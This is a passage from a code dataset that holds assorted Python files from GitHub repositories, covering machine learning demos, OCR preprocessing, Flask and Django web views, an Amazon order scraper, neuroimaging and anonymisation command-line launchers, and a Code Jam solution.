sum([self.y[index] for index in k_neighbors])\n return _sum / self.k\n\nif __name__ == '__main__':\n inputs = [[2, 50], [4, 90], [1, 38], [5, 105], [2, 48],\n [6, 120], [3, 65], [4, 80], [5, 100], [3, 60]]\n\n outputs = [250, 490, 138, 505, 248, 612, 365, 470, 500, 360]\n\n knn = KNNRegression(inputs, outputs)\n results = []\n for _input in inputs:\n results.append(knn.predict(_input))\n\n plt.plot(np.linspace(-1, 1, 10), \n outputs, \n label='expected', \n color='black',\n linewidth=1.5)\n\n plt.plot(np.linspace(-1, 1, 10), \n results, \n label='expected', \n color='red',\n linewidth=1.5)\n\n plt.show()\n","repo_name":"TiagoArrazi/Semantix-Internship","sub_path":"ml_knn_regression.py","file_name":"ml_knn_regression.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"12927956332","text":"import re\nimport cv2 \nimport numpy as np\nimport pytesseract\nfrom pytesseract import Output\nfrom matplotlib import pyplot as plt\n\nIMG_DIR = 'images/'\n\n# PREPROCESSING FOR TESSERACT\n#Prétraitement de l'image afin de gagner en précision\n\n# get grayscale image\ndef get_grayscale(image):\n return cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n# noise removal\ndef remove_noise(image):\n return cv2.medianBlur(image,5)\n \n#thresholding\ndef thresholding(image):\n return cv2.threshold(image, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)[1]\n\n#dilation\ndef dilate(image):\n kernel = np.ones((5,5),np.uint8)\n return cv2.dilate(image, kernel, iterations = 1)\n \n#erosion\ndef erode(image):\n kernel = np.ones((5,5),np.uint8)\n return cv2.erode(image, kernel, iterations = 1)\n\n#opening - erosion followed by dilation\ndef opening(image):\n kernel = np.ones((5,5),np.uint8)\n return cv2.morphologyEx(image, cv2.MORPH_OPEN, kernel)\n\n#skew correction\ndef deskew(image):\n coords = np.column_stack(np.where(image > 0))\n angle = cv2.minAreaRect(coords)[-1]\n if angle < -45:\n angle = -(90 + angle)\n else:\n angle = -angle\n (h, w) = image.shape[:2]\n center = (w // 2, h // 2)\n M = cv2.getRotationMatrix2D(center, angle, 1.0)\n rotated = cv2.warpAffine(image, M, (w, h), flags=cv2.INTER_CUBIC, borderMode=cv2.BORDER_REPLICATE)\n return rotated\n\n#template matching\ndef match_template(image, template):\n return cv2.matchTemplate(image, template, cv2.TM_CCOEFF_NORMED) \n\n\n# Plot original image\nimage = cv2.imread(IMG_DIR + 'DSC_0045.JPG')\n\"\"\"\nb,g,r = cv2.split(image)\nrgb_img = cv2.merge([r,g,b])\nplt.imshow(rgb_img)\nplt.title('IMAGE CONTAINER ORIGINALE')\nplt.show()\n\"\"\"\n\n# Preprocess image \ngray = get_grayscale(image)\nthresh = thresholding(gray)\nopening = opening(gray)\nimages = {'gray': gray, \n 'thresh': thresh, \n 'opening': opening}\n\n# Plot images after preprocessing\nfig = plt.figure(figsize=(13,13))\nax = []\n\nrows = 3\ncolumns = 0\nkeys = list(images.keys())\nfor i in range(rows*columns):\n ax.append( fig.add_subplot(rows, columns, i+1) )\n ax[-1].set_title('IMAGE CONTAINER - ' + keys[i]) \n plt.imshow(images[keys[i]], cmap='gray')\n\n# Get OCR output using Pytesseract\ncustom_config = r'--oem 3 --psm 6'\nprint('-----------------------------------------')\nprint('TESSERACT OUTPUT --> ORIGINAL IMAGE')\nprint('-----------------------------------------')\nprint(pytesseract.image_to_string(image, config=custom_config))\nprint('\\n-----------------------------------------')\nprint('TESSERACT OUTPUT --> THRESHOLDED IMAGE')\nprint('-----------------------------------------')\nprint(pytesseract.image_to_string(image, config=custom_config))\nprint('\\n-----------------------------------------')\nprint('TESSERACT OUTPUT --> OPENED IMAGE')\nprint('-----------------------------------------')\nprint(pytesseract.image_to_string(image, config=custom_config))\n\n# BOUNDING BOX INFORMATION AVEC PYTESSERACT\n\n# Plot original image\nimage = cv2.imread(IMG_DIR + 'DSC_0045.JPG')\nb,g,r = cv2.split(image)\nrgb_img = cv2.merge([r,g,b])\n\nplt.figure(figsize=(16,12))\nplt.imshow(rgb_img)\nplt.title('SAMPLE INVOICE IMAGE')\nplt.show()\n\n# Plot character boxes on image using pytesseract.image_to_boxes() function\n\nimage = cv2.imread(IMG_DIR + 'DSC_0045.JPG')\nh, w, c = image.shape\nboxes = pytesseract.image_to_boxes(image) \nfor b in boxes.splitlines():\n b = b.split(' ')\n image = cv2.rectangle(image, (int(b[1]), h - int(b[2])), (int(b[3]), h - int(b[4])), (0, 255, 0), 2)\n\nb,g,r = cv2.split(image)\nrgb_img = cv2.merge([r,g,b])\n\nplt.figure(figsize=(16,12))\nplt.imshow(rgb_img)\nplt.title('SAMPLE INVOICE WITH CHARACTER LEVEL BOXES')\nplt.show()","repo_name":"melanie-donne/Shipping-Container-OCR","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3677,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"19680601465","text":"from flask import Flask,render_template,request,url_for,redirect\nimport csv\napp = Flask(__name__)\n\n@app.route('/')\ndef index(username):\n return render_template(username)\n\n# def write_to_file(data):\n# with open('database.txt' ,mode='a') as database:\n# email = data[\"email\"]\n# subject = data[\"subject\"]\n# message = data[\"message\"]\n# file = database.write(f'\\n{email},{subject},{message}')\ndef write_to_csvfile(data):\n with open('database.csv',mode='a',newline=\"\")as csvfile:\n email=data['email']\n subject=data[\"subject\"]\n message=data[\"message\"]\n ffile= csv.writer(csvfile,delimiter=\",\",quotechar=\"|\",quoting=csv.QUOTE_MINIMAL)\n ffile.writerow([email,subject,message]) \n\n\n@app.route('/submit', methods=['POST', 'GET'])\ndef submit1():\n if request.method == 'POST':\n data = request.form.to_dict()\n write_to_csvfile(data)\n return redirect(\"./thankyou.html\")\n else:\n return \"You have done something wrong TRY AGAIN\"\n\n\n# @app.route('/about.html')\n# def about():\n# return render_template('about.html')\n\n# @app.route('/favicon.ico')\n# def favicon():\n# return send_from_directory(os.path.join(app.root_path, 'static'),\n# 'favicon.ico', mimetype='image/vnd.microsoft.icon')","repo_name":"KumarShivam030/HTML","sub_path":"Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17038375940","text":"from datetime import datetime\n\nfrom django.db.models import Sum\nfrom django.http import HttpResponse\nfrom django.shortcuts import get_object_or_404\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom djoser.views import UserViewSet\nfrom rest_framework import status, viewsets\nfrom rest_framework.decorators import action\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\n\nfrom .constants import DATE_FORMAT\nfrom .filters import IngredientFilter, RecipeFilters\nfrom .paginators import PageLimitPagination\nfrom .permissions import IsAdminOrReadOnly, IsAuthorOrReadOnly\nfrom .serializers import (FavoriteSerializer, IngredientSerializer,\n RecipeSerializer, RecipeShortSerializer,\n ShoppingCartSerializer, SubscriptionSerializer,\n TagSerializer)\nfrom recipes.models import (Favorite, Ingredient, Recipe, RecipeIngredient,\n ShoppingCart, Tag)\nfrom users.models import CustomUser as User\nfrom users.models import Subscription\n\n\nclass IngredientViewSet(viewsets.ModelViewSet):\n \"\"\"\n Вьюсет для /api/ingredients/*.\n Доступен для чтения всем, для ред-я и создания: только админу.\n Позволяет производить поиск по вхождению в начало поля name.\n \"\"\"\n queryset = Ingredient.objects.all()\n serializer_class = IngredientSerializer\n permission_classes = (IsAdminOrReadOnly,)\n filter_backends = (IngredientFilter,)\n search_fields = ('^name',)\n\n\nclass RecipeViewSet(viewsets.ModelViewSet):\n \"\"\"\n Вьюсет для /api/recipes/*.\n Доступен для чтения всем, для ред-я автору объекта или админу.\n Создавать объект могут только аутентифицированные.\n Фильтруется по:\n - выбору из предустановленных поля tags,\n - по булеву значению полей is_favorited и is_in_shopping_cart(1 или 0).\n Три дополнительные actions для аутентифицированных:\n favorite - добавить/удалить рецепт в/из избранное(ого),\n shopping_cart - добавить/удалить рецепт в/из корзину(ы) покупок,\n download_shopping_cart - скачать список ингредиентов\n для всех рецептов в корзине покупок.\n \"\"\"\n queryset = Recipe.objects.prefetch_related('tags', 'ingredients')\n serializer_class = RecipeSerializer\n permission_classes = (IsAuthorOrReadOnly | IsAdminOrReadOnly,)\n http_method_names = ['get', 'post', 'patch', 'delete']\n filter_backends = (DjangoFilterBackend,)\n filterset_class = RecipeFilters\n pagination_class = PageLimitPagination\n\n def perform_create(self, serializer):\n serializer.save(author=self.request.user)\n\n @action(['post', 'delete'],\n detail=True,\n permission_classes=(IsAuthenticated,))\n def favorite(self, request, pk):\n if request.method == 'POST':\n recipe = get_object_or_404(Recipe, pk=pk)\n serializer = FavoriteSerializer(data={'user': request.user.pk,\n 'recipe': recipe.pk})\n serializer.is_valid(raise_exception=True)\n serializer.save()\n\n return Response(RecipeShortSerializer(recipe).data,\n status=status.HTTP_201_CREATED)\n\n return self.delete_from(Favorite, request.user, pk)\n\n @action(['post', 'delete'],\n detail=True,\n permission_classes=(IsAuthenticated,))\n def shopping_cart(self, request, pk):\n if request.method == 'POST':\n recipe = get_object_or_404(Recipe, pk=pk)\n serializer = ShoppingCartSerializer(data={'user': request.user.pk,\n 'recipe': recipe.pk})\n serializer.is_valid(raise_exception=True)\n serializer.save()\n\n return Response(RecipeShortSerializer(recipe).data,\n status=status.HTTP_201_CREATED)\n\n return self.delete_from(ShoppingCart, request.user, pk)\n\n def delete_from(self, model, user, pk):\n obj = model.objects.filter(user=user, recipe__pk=pk)\n if obj.exists():\n obj.delete()\n\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n return Response({'errors': 'Нельзя удалить то, чего нет'},\n status=status.HTTP_400_BAD_REQUEST)\n\n @action(['get'],\n detail=False,\n permission_classes=(IsAuthenticated,))\n def download_shopping_cart(self, request):\n if not request.user.shopping_cart.exists():\n return Response({'errors': 'Ваша корзина покупок пуста.'},\n status=status.HTTP_400_BAD_REQUEST)\n ingredients = (RecipeIngredient.objects.filter(\n recipe__shopping_cart__user=request.user)\n .values('ingredient__name', 'ingredient__measurement_unit__name')\n .annotate(amount=Sum('amount')))\n current_date = datetime.today().date().strftime(DATE_FORMAT)\n shopping_cart = [f'Корзина покупок для '\n f'{request.user.get_full_name()} '\n f'от {current_date}\\n']\n for ingredient in ingredients:\n shopping_cart.append(\n f'- {ingredient[\"ingredient__name\"]}: {ingredient[\"amount\"]} '\n f'{ingredient[\"ingredient__measurement_unit__name\"]}')\n shopping_cart.append('\\nКорзина собрана в FoodGram')\n shopping_cart = '\\n'.join(shopping_cart)\n file_name = f'{request.user.username}_shopping_cart.txt'\n response = HttpResponse(shopping_cart, content_type='text/plain')\n response['Content-Disposition'] = f'attachment; filename={file_name}'\n\n return response\n\n\nclass TagViewSet(viewsets.ModelViewSet):\n \"\"\"\n Вьюсет для /api/tags/*.\n Доступ для чтения: всем, ред-е и создание: только админу.\n \"\"\"\n queryset = Tag.objects.all()\n serializer_class = TagSerializer\n permission_classes = (IsAdminOrReadOnly,)\n\n\nclass CustomUserViewSet(UserViewSet):\n \"\"\"\n Вьюсет для /api/users/*.\n Кастомный вьюсет наследованный от стандартного вьюсета Djoser.\n Отключены ненужные функции(ресет пароля, изменение юзернейма и т.д.)\n В action 'me' оставлена только возможность get-запроса.\n Две дополнительные actions для аутентифицированных:\n subscribe - подписаться/отписаться на(от) автора,\n subscriptions - вывести список подписок и их рецептов.\n \"\"\"\n pagination_class = PageLimitPagination\n resend_activation = None\n reset_password = None\n reset_password_confirm = None\n set_username = None\n reset_username = None\n reset_username_confirm = None\n\n @action(['get'], detail=False)\n def me(self, request, *args, **kwargs):\n\n return super().me(request, *args, **kwargs)\n\n @action(['post', 'delete'],\n detail=True,\n permission_classes=(IsAuthenticated,))\n def subscribe(self, request, id):\n subscribing = get_object_or_404(User, pk=id)\n\n if request.method == 'POST':\n serializer = SubscriptionSerializer(\n data={'user': request.user.pk,\n 'subscribing': subscribing.pk},\n context={'request': request})\n serializer.is_valid(raise_exception=True)\n serializer.save()\n\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n subscription = Subscription.objects.filter(user=request.user,\n subscribing=subscribing)\n if subscription.exists():\n subscription.delete()\n\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n return Response({'errors': 'Вы не были подписаны ранее!'},\n status=status.HTTP_400_BAD_REQUEST)\n\n @action(['get'],\n detail=False,\n permission_classes=(IsAuthenticated,))\n def subscriptions(self, request):\n queryset = User.objects.filter(\n subscribing__user=request.user).prefetch_related('recipes')\n pages = self.paginate_queryset(queryset)\n serializer = SubscriptionSerializer(pages,\n many=True,\n context={'request': request})\n\n return self.get_paginated_response(serializer.data)\n","repo_name":"xaer981/foodgram-project-react","sub_path":"backend/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9115,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73862259762","text":"from playwright.sync_api import sync_playwright\nfrom utils.readconfig import settingsData as stt\nfrom tqdm import tqdm\nfrom src.interfaces import mainView,homeLogin,pedidosOverview,detallesPedidos,trakingView\nfrom src.utils.functions import previusUrl\nfrom PIL import Image\nimport time\n\nclass Amazon:\n def __init__(self) -> None:\n p= sync_playwright().start()\n browser = p.chromium.launch_persistent_context(user_data_dir=stt.user_data_dir,headless=stt.headless)\n self.page = browser.new_page()\n self.urlMain=stt.URLS_LINKS[\"URL-MAIN\"]\n self.urlSignin=stt.URLS_LINKS[\"URL-SIGIN\"]\n self.urlOrders=stt.URLS_LINKS[\"URL-ORDERS\"]\n def go_to_login(self):\n self.page.goto(self.urlSignin)\n self.page.wait_for_url(self.urlSignin)\n\n def go_to_orders(self):\n self.page.locator(mainView.button_orders.selector).click()\n self.page.wait_for_selector(pedidosOverview.orderCards_list.selector)\n def get_pdf(self):\n pass\n def get_trakingInfo(self):\n self.page.wait_for_selector(trakingView.button_updates.selector)\n shiptmentdate=self.page.query_selector(trakingView.shiptmentdate.selector).inner_text()\n trakingId=self.page.query_selector(trakingView.trakingId.selector).inner_text()\n\n def is_order_wanted(self,dateofCard):\n return True\n def get_detailsOrderInfo(self):\n self.page.wait_for_selector(detallesPedidos.products_list.selector)\n date=self.page.query_selector(detallesPedidos.dateOfDetailsProduct.selector).inner_text()\n directions_list=self.page.query_selector_all(detallesPedidos.directions_list.selector).all_inner_text()\n digitCards=self.page.query_selector(detallesPedidos.digitCards.selector).inner_text()\n summaryBill=self.page.query_selector_all(detallesPedidos.summaryConcept_list.selector)\n products_list=self.page.query_selector_all(detallesPedidos.products_list.selector)\n for product in products_list:\n priceProduct=product.query_selector(detallesPedidos.priceOfProduct.selector).inner_text()\n conditionProduct=product.query_selector(detallesPedidos.conditionOfProduct.selector).inner_text()\n sellerProduct=product.query_selector(detallesPedidos.sellerOfProduct.selector).inner_text()\n quantityProduct=product.query_selector(detallesPedidos.quantityOfProduct.selector).inner_text()\n nameProduct=product.query_selector(detallesPedidos.nameOfProduct.selector).inner_text()\n dateDetailsProduct=product.query_selector(detallesPedidos.dateDetailsProduct.selector).inner_text()\n self.page.locator(detallesPedidos.trackingInfo.selector).click()\n self.get_trakingInfo()\n self.page.locator(detallesPedidos.button_pdf.selector).click()\n self.get_pdf()\n def scrap_page(self):\n print(\"------------leyendo pagina\")\n self.page.wait_for_selector(pedidosOverview.orderCards_list.selector)\n orderCards_list=self.page.query_selector_all(pedidosOverview.orderCards_list.selector)\n print(f\"numero de pedidos:{len(orderCards_list)}\")\n for orderCard in orderCards_list:\n dateofCard=orderCard.query_selector(pedidosOverview.dateofCard.selector).inner_text()\n if not self.is_order_wanted(dateofCard):\n continue\n amountOfCard=orderCard.query_selector(pedidosOverview.amountOfCard.selector).inner_text()\n courierOfCard=orderCard.query_selector(pedidosOverview.courierOfCard.selector).inner_text()\n orderIdOfCard=orderCard.query_selector(pedidosOverview.orderIdOfCard.selector).inner_text()\n print(f\"leyendo pedido:{orderIdOfCard}\")\n detailsOfCard=orderCard.query_selector(pedidosOverview.detailsOfCard.selector).get_attribute(\"href\")\n orderCard.query_selector(pedidosOverview.detailsOfCard.selector).click()\n self.get_detailsOrderInfo()\n \n \n def switch_to_tab(self,tab):\n if tab>1:\n self.page.locator(pedidosOverview.button_next.selector).click()\n self.page.wait_for_selector(pedidosOverview.orderCards_list.selector)\n print(f\"-----leyendo pagina {tab}\")\n else:\n print(f\"-----leyendo pagina {tab}\")\n def scrap_account(self):\n self.go_to_orders()\n tab=1\n self.page.wait_for_selector(pedidosOverview.button_next.selector)\n while len(self.page.query_selector_all(pedidosOverview.button_next.selector))>0:\n self.switch_to_tab(tab)\n self.scrap_page()\n tab+=1\n time.sleep(1)\n Url=previusUrl(tab)\n \n def scrap_info(self):\n self.page.wait_for_selector(homeLogin.buttons_cuentas.selector)\n self.account_list=self.page.query_selector_all(homeLogin.buttons_cuentas.selector)\n for account in self.account_list:\n self.acount=account.inner_text()\n account.click()\n self.page.wait_for_selector(mainView.button_orders.selector)\n print(f\"leyendo en cuenta:{self.acount}\")\n self.scrap_account()\n self.go_to_login()\n\n\nif __name__ == \"__main__\":\n amazonPage=Amazon()\n amazonPage.go_to_login()\n amazonPage.scrap_info()\n\n\n","repo_name":"danielichis/pedidosAmazon","sub_path":"src/download_pedidos.py","file_name":"download_pedidos.py","file_ext":"py","file_size_in_byte":5281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17102970837","text":"\"\"\"\nCall tedana from the command line.\n\"\"\"\nimport os.path as op\n\nimport argparse\n\nfrom tedana import workflows\n\n\ndef is_valid_file(parser, arg):\n \"\"\"\n Check if argument is existing file.\n \"\"\"\n if not op.isfile(arg) and arg is not None:\n parser.error('The file {0} does not exist!'.format(arg))\n\n return arg\n\n\ndef get_parser():\n \"\"\"\n Parses command line inputs for tedana\n\n Returns\n -------\n parser.parse_args() : argparse dict\n \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument('-d',\n dest='data',\n nargs='+',\n metavar='FILE',\n type=lambda x: is_valid_file(parser, x),\n help=('Multi-echo dataset for analysis. May be a '\n 'single file with spatially concatenated data '\n 'or a set of echo-specific files, in the same '\n 'order as the TEs are listed in the -e '\n 'argument.'),\n required=True)\n parser.add_argument('-e',\n dest='tes',\n nargs='+',\n metavar='TE',\n type=float,\n help='Echo times (in ms). E.g., 15.0 39.0 63.0',\n required=True)\n parser.add_argument('--combmode',\n dest='combmode',\n action='store',\n choices=['t2s', 'ste'],\n help=('Combination scheme for TEs: '\n 't2s (Posse 1999, default), ste (Poser)'),\n default='t2s')\n parser.add_argument('--label',\n dest='label',\n type=str,\n help='Label for output directory.',\n default=None)\n return parser\n\n\ndef main(argv=None):\n \"\"\"Entry point\"\"\"\n options = get_parser().parse_args(argv)\n workflows.t2smap(**vars(options))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"dangom/tedana","sub_path":"tedana/cli/run_t2smap.py","file_name":"run_t2smap.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"28558857616","text":"import sys\n\nfilename = sys.argv[1]\n\ndef read_num_cases(f):\n return int(f.readline().strip())\n\ndef read_case(f):\n return f.readline().strip()\n\ndef solve(S):\n win = S[0]\n for ch in S[1:]:\n if ch >= win[0]:\n win = ch + win\n else:\n win = win + ch\n return win\n\nwith open(filename, 'r') as f:\n num_cases = read_num_cases(f)\n for case in xrange(num_cases):\n p = read_case(f)\n ans = solve(p)\n print(\"Case #{}: {}\".format(case + 1, ans))\n","repo_name":"DaHuO/Supergraph","sub_path":"codes/BuildLinks1.10/test_input/CJ_16_1/16_1_1_mprentice_A.py","file_name":"16_1_1_mprentice_A.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41397880683","text":"from __future__ import division\nfrom pdb import set_trace as st\nimport time\nimport numpy as np\nimport tensorflow as tf\nimport torch as th\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom utilities import cross_entropy\n\n\nclass CoreNetwork(nn.Module):\n def __init__(self):\n super(CoreNetwork, self).__init__()\n self._h_linear = nn.Linear(256, 256)\n self._g_linear = nn.Linear(256, 256)\n\n def forward(self, h, g):\n h = self._h_linear(h)\n g = self._g_linear(g)\n h = F.relu(h + g)\n return h\n\n\nclass GlimpseNetwork(nn.Module):\n def __init__(self, args):\n super(GlimpseNetwork, self).__init__()\n self._retina_size = args.n_scales * args.w * args.h\n self._retina_linear = nn.Linear(self._retina_size, 128)\n self._location_linear = nn.Linear(2, 128)\n self._hg_linear = nn.Linear(128, 256)\n self._hl_linear = nn.Linear(128, 256)\n\n def forward(self, retina, location):\n retina = retina.view(-1, self._retina_size)\n hg = F.relu(self._retina_linear(retina))\n hg = self._hg_linear(hg)\n\n hl = F.relu(self._location_linear(location))\n hl = self._hl_linear(hl)\n\n g = F.relu(hg + hl)\n return g\n\n\nclass LocationNetwork(nn.Module):\n def __init__(self, args):\n super(LocationNetwork, self).__init__()\n self._linear = nn.Linear(256, 2)\n self._sx, self._sy = args.sx, args.sy\n\n def configure(self, **kwargs):\n for key, value in kwargs.items():\n if key == 'sx':\n self._sx = value\n elif key == 'sy':\n self._sy = value\n\n def forward(self, h):\n mean = th.tanh(self._linear(h))\n if not self.training:\n return mean\n\n mx, my = th.chunk(mean, 2, 1)\n sx = th.ones(mx.size()) * self._sx\n sy = th.ones(my.size()) * self._sy\n if mean.is_cuda:\n sx, sy = sx.cuda(), sy.cuda()\n sx, sy = Variable(sx), Variable(sy)\n x, y = th.normal(mx, sx), th.normal(my, sy)\n x, y = x.detach(), y.detach()\n location = th.cat((x, y), 1)\n cache = ((mx, my, sx, sy), (x, y))\n return location, cache\n\n def loss(self, reward, cache):\n \"\"\"\n Parameters\n ----------\n reward : N by 1 tensor\n cache : tuple\n \"\"\"\n\n if cache is None:\n return 0\n\n (mx, my, sx, sy), (x, y) = cache\n log_px = -(x - mx)**2 / (2 * sx**2)\n log_py = -(y - my)**2 / (2 * sy**2)\n log_p = log_px + log_py\n value = th.mean(log_p * reward)\n return value\n\n\nclass RetinaEncoder(nn.Module):\n def __init__(self, args):\n super(RetinaEncoder, self).__init__()\n self._patch_size = np.array([args.w, args.h], np.int32)\n self._n_scales = args.n_scales\n\n with tf.device('/cpu:0'):\n self._input_sym = tf.placeholder(\"float32\")\n self._glimpse_size_sym = tf.placeholder(\"int32\")\n self._patch_size_sym = tf.placeholder(\"int32\")\n self._offsets_sym = tf.placeholder(\"float32\")\n glimpse = tf.image.extract_glimpse(\n self._input_sym, self._glimpse_size_sym, self._offsets_sym)\n self._glimpse = tf.image.resize_images(glimpse,\n self._patch_size_sym)\n self._glimpse.graph.finalize()\n\n def forward(self, input, offsets):\n cuda = input.is_cuda\n input, offsets = input.data.cpu().numpy(), offsets.data.cpu().numpy()\n input = np.transpose(input, (0, 3, 2, 1))\n node = tf.get_default_graph()\n feed_dict = {\n self._input_sym: input,\n self._offsets_sym: offsets,\n self._glimpse_size_sym: self._patch_size,\n self._patch_size_sym: self._patch_size,\n }\n glimpse_list = []\n with tf.Session() as s:\n for _ in range(self._n_scales):\n glimpse = s.run(self._glimpse, feed_dict)\n glimpse = np.transpose(glimpse, (0, 3, 2, 1))\n glimpse = th.from_numpy(glimpse)\n if cuda:\n glimpse = glimpse.cuda()\n glimpse_list.append(glimpse)\n glimpse_size = feed_dict[self._glimpse_size_sym]\n feed_dict[self._glimpse_size_sym] = glimpse_size * 2\n\n retina = th.cat(glimpse_list, 1)\n retina = Variable(retina)\n return retina\n\n\nclass RAM(nn.Module):\n def __init__(self, args):\n super(RAM, self).__init__()\n self._classifier = nn.Linear(256, 10)\n self._core_network = CoreNetwork()\n self._glimpse_network = GlimpseNetwork(args)\n self._location_network = LocationNetwork(args)\n self._retina_encoder = RetinaEncoder(args)\n\n self._T = args.T\n\n def configure(self, **kwargs):\n for key, value in kwargs.items():\n if key == 'sx' or key == 'sy':\n self._location_network.configure(**{key: value})\n\n def forward(self, data):\n N = data.size()[0]\n location = (th.rand(N, 2) - 0.5) * 2\n if self.training:\n cache = None\n h = th.zeros(N, 256)\n if data.is_cuda:\n location, h = location.cuda(), h.cuda()\n location, h = Variable(location), Variable(h)\n internal = {'data': data, 'glimpse_list': [], 'location_list': []}\n prediction_list = []\n if self.training:\n cache_list = []\n for _ in range(self._T):\n retina = self._retina_encoder(data, location)\n glimpse = self._glimpse_network(retina, location)\n h = self._core_network(h, glimpse)\n category = self._classifier(h)\n prediction_list.append(category)\n if self.training:\n cache_list.append(cache)\n location, cache = self._location_network(h)\n else:\n location = self._location_network(h)\n\n internal['glimpse_list'].append(retina)\n internal['location_list'].append(location)\n\n if self.training:\n return prediction_list, internal, cache_list\n else:\n return prediction_list, internal\n\n def loss(self, prediction_list, cache_list, label):\n ce_tuple = tuple(cross_entropy(prediction_list, label))\n ce_loss = sum(ce_tuple)\n\n argmax = lambda t: th.max(t, 1)[1]\n category_tuple = tuple(argmax(p) for p in prediction_list)\n indicator_tuple = tuple(c == label for c in category_tuple)\n reward, rl_loss = 0, 0\n for indicator, cache in reversed(zip(indicator_tuple, cache_list)):\n reward = reward + indicator\n rl_loss = rl_loss + self._location_network.loss(\n reward.float(), cache)\n\n value = (ce_loss + rl_loss) / self._T\n return value, ce_tuple\n","repo_name":"HQ01/what-where-how","sub_path":"ram.py","file_name":"ram.py","file_ext":"py","file_size_in_byte":6925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41816751348","text":" # noqa\n\nimport argparse\nimport logging\nimport multiprocessing\nimport sys\nimport time\nfrom typing import List\n\nfrom cardinal_pythonlib.logs import configure_logger_for_colour\nfrom cardinal_pythonlib.subproc import (\n check_call_process,\n run_multiple_processes,\n)\n\nfrom crate_anon.version import CRATE_VERSION, CRATE_VERSION_DATE\n\nlog = logging.getLogger(__name__)\n\nANONYMISER = 'crate_anon.anonymise.anonymise_cli'\n\nCPUCOUNT = multiprocessing.cpu_count()\n\n\n# =============================================================================\n# Main\n# =============================================================================\n\ndef main() -> None:\n \"\"\"\n Command-line processor. See command-line help.\n \"\"\"\n version = f\"Version {CRATE_VERSION} ({CRATE_VERSION_DATE})\"\n description = (\n f\"Runs the CRATE anonymiser in parallel. {version}. \"\n f\"Note that all arguments not specified here are passed to the \"\n f\"underlying script (see crate_anonymise --help).\"\n )\n parser = argparse.ArgumentParser(description=description)\n\n parser.add_argument(\n \"--nproc\", \"-n\", nargs=\"?\", type=int, default=CPUCOUNT,\n help=f\"Number of processes (default on this machine: {CPUCOUNT})\")\n parser.add_argument(\n '--verbose', '-v', action='store_true',\n help=\"Be verbose\")\n args, unknownargs = parser.parse_known_args()\n\n loglevel = logging.DEBUG if args.verbose else logging.INFO\n rootlogger = logging.getLogger()\n configure_logger_for_colour(rootlogger, level=loglevel)\n\n common_options = [\"-v\"] * (1 if args.verbose else 0) + unknownargs\n\n log.debug(f\"common_options: {common_options}\")\n\n nprocesses_patient = args.nproc\n nprocesses_nonpatient = args.nproc\n nprocesses_index = args.nproc\n\n # -------------------------------------------------------------------------\n # Setup\n # -------------------------------------------------------------------------\n\n # Start.\n time_start = time.time()\n\n # -------------------------------------------------------------------------\n # Clean/build the tables. Only run one copy of this!\n # -------------------------------------------------------------------------\n # CALL USING \"python -m my.module\"; DO NOT run the script as an executable.\n # If you run a Python script as an executable, it gets added to the\n # PYTHONPATH. Then, when your script says \"import regex\" (meaning the\n # system module), it might import \"regex.py\" from the same directory (which\n # it wouldn't normally do, because Python 3 uses absolute not relative\n # imports).\n procargs = [\n sys.executable, '-m', ANONYMISER,\n '--dropremake', '--processcluster=STRUCTURE'\n ] + common_options\n check_call_process(procargs)\n\n # -------------------------------------------------------------------------\n # Build opt-out lists. Only run one copy of this!\n # -------------------------------------------------------------------------\n procargs = [\n sys.executable, '-m', ANONYMISER,\n '--optout', '--processcluster=OPTOUT',\n '--skip_dd_check'\n ] + common_options\n check_call_process(procargs)\n\n # -------------------------------------------------------------------------\n # Now run lots of things simultaneously:\n # -------------------------------------------------------------------------\n # It'd be less confusing if we have a single numbering system across all,\n # rather than numbering separately for patient and non-patient processes.\n # However, each group divides its work by its process number, so that\n # won't fly (for n processes it wants to see processes numbered from 0 to\n # n - 1 inclusive).\n\n # (a) patient tables\n args_list = [] # type: List[List[str]]\n for procnum in range(nprocesses_patient):\n procargs = [\n sys.executable, '-m', ANONYMISER,\n '--patienttables',\n '--processcluster=PATIENT',\n f'--nprocesses={nprocesses_patient}',\n f'--process={procnum}',\n '--skip_dd_check'\n ] + common_options\n args_list.append(procargs)\n for procnum in range(nprocesses_nonpatient):\n procargs = [\n sys.executable, '-m', ANONYMISER,\n '--nonpatienttables',\n '--processcluster=NONPATIENT',\n f'--nprocesses={nprocesses_nonpatient}',\n f'--process={procnum}',\n '--skip_dd_check'\n ] + common_options\n args_list.append(procargs)\n run_multiple_processes(args_list) # Wait for them all to finish\n\n time_middle = time.time()\n\n # -------------------------------------------------------------------------\n # Now do the indexing, if nothing else failed.\n # (Always fastest to index last.)\n # -------------------------------------------------------------------------\n args_list = [\n [\n sys.executable, '-m', ANONYMISER,\n '--index',\n '--processcluster=INDEX',\n f'--nprocesses={nprocesses_index}',\n f'--process={procnum}',\n '--skip_dd_check'\n ] + common_options for procnum in range(nprocesses_index)\n ]\n run_multiple_processes(args_list)\n\n # -------------------------------------------------------------------------\n # Finished.\n # 